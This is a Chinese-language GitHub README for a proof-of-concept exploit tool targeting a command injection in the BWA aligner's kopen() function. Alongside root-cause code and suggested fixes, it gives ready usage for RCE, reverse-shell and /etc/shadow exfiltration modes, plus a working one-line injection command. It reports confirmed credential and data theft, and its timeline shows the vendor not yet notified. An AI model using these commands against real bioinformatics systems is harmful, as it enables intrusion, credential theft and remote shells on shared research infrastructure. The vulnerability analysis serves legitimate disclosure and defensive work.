jabir-dev/CVE-2026-BWA-RCE
GitHub: jabir-dev/CVE-2026-BWA-RCE
针对生物信息学工具 BWA 的 kopen() 命令注入漏洞(CVSS 4.0: 10.0)的 PoC 利用工具,支持远程代码执行、反弹 shell 和数据窃取验证。
Stars: 0 | Forks: 0
# CVE-2026-XXXXX:BWA 命令注入(RCE)
## 概述
| 字段 | 值 |
|-------|-------|
| **产品** | BWA (Burrows-Wheeler Aligner) |
| **供应商** | lh3 (Heng Li) |
| **版本** | 0 至 0.7.19(所有版本) |
| **类型** | OS 命令注入 (CWE-78) |
| **CVSS 4.0** | 10.0 Critical |
| **影响** | 远程代码执行 |
| **bio.tools** | https://bio.tools/bwa |
## 漏洞
BWA 的 `kopen.c`(第 286-309 行)中的 `kopen()` 函数接受以 `<` 开头的文件名,并将剩余内容直接传递给 `/bin/sh -c` 进行 shell 执行,**没有任何输入过滤**。
```
// kopen.c:309
execl("/bin/sh", "sh", "-c", p + 1, NULL); // p+1 = user-controlled input
```
## 影响
控制 BWA 文件名参数的攻击者可以实现:
- 以 BWA 进程用户身份执行**任意命令**
- **凭据窃取**(环境变量、SSH 密钥、云令牌)
- **任意文件读/写/删除**
- 用于持久访问的**反弹 shell**
- 基因组和系统数据的**数据窃取**
## 攻击面
1. 具有用户上传样本名称的 **Galaxy Project** 工作流
2. 具有不受信任的 FASTQ 路径的 **Nextflow/Snakemake** 管道
3. **共享 HPC 集群**(大学/研究环境)
4. 封装 BWA 的**基于 Web 的生物信息学工具**
5. 处理外部数据的 **CI/CD 基因组学管道**
## 用法
```
# 检查目标 BWA 是否存在漏洞
python3 exploit.py --ref reference.fa --mode check
# 执行任意命令
python3 exploit.py --ref reference.fa --mode rce --cmd "id"
# 生成 reverse shell payloads
python3 exploit.py --ref reference.fa --mode revshell --lhost 10.0.0.1 --lport 4444
# 读取敏感文件
python3 exploit.py --ref reference.fa --mode exfil --files /etc/passwd /etc/shadow
```
### 快速手动测试
```
# 创建参考
echo ">s1" > ref.fa && echo "ACGTACGTACGT" >> ref.fa
bwa index ref.fa
# 触发 RCE
bwa mem ref.fa "< id > /tmp/pwned.txt; echo ACGT; #"
cat /tmp/pwned.txt
```
## 利用结果
| 测试 | 状态 |
|------|--------|
| 任意命令执行 | **已确认** |
| 环境变量窃取 | **已确认** |
| 任意文件读取 (/etc/passwd) | **已确认** |
| SSH 密钥枚举 | **已确认** |
| Crontab 访问 | **已确认** |
| 检测到反弹 shell 工具 | **已确认** |
| 数据窃取 (curl/wget) | **已确认** |
## 根本原因
```
// kopen.c:282-309
const char *p, *q;
for (p = fn; *p; ++p)
if (!isspace(*p)) break;
if (*p == '<') { // filename starts with '<'
// ...
for (q = p + 1; *q; ++q)
if (ispunct(*q) && *q != '.' && *q != '_' && *q != '-' && *q != ':')
break;
need_shell = (*q != 0); // weak heuristic check
// ...
if (!need_shell) {
argv = cmd2argv(p + 1);
execvp(argv[0], argv); // direct exec
} else
execl("/bin/sh", "sh", "-c", p + 1, NULL); // SHELL INJECTION!
}
```
## 修复方案
1. **彻底移除** `<` 管道功能,或者
2. **要求**使用显式标志(`--enable-pipe`)来激活它,或者
3. 通过拒绝文件名中的 shell 元字符来**过滤**输入
## 时间线
| 日期 | 事件 |
|------|-------|
| 2026-05-30 | 发现漏洞 |
| 2026-05-30 | 向 MITRE 请求 CVE(CAN-2026-2030800) |
| 待定 | 分配 CVE ID |
| 待定 | 通知供应商 |
| 待定 | 公开披露(在通知供应商后 90 天) |
## 免责声明
此漏洞利用程序仅供**授权安全测试**和**教育目的**使用。仅在您获得明确测试许可的系统上使用。作者不对本工具的任何滥用行为负责。
## 许可证
MIT
标签:Cutter, 逆向工具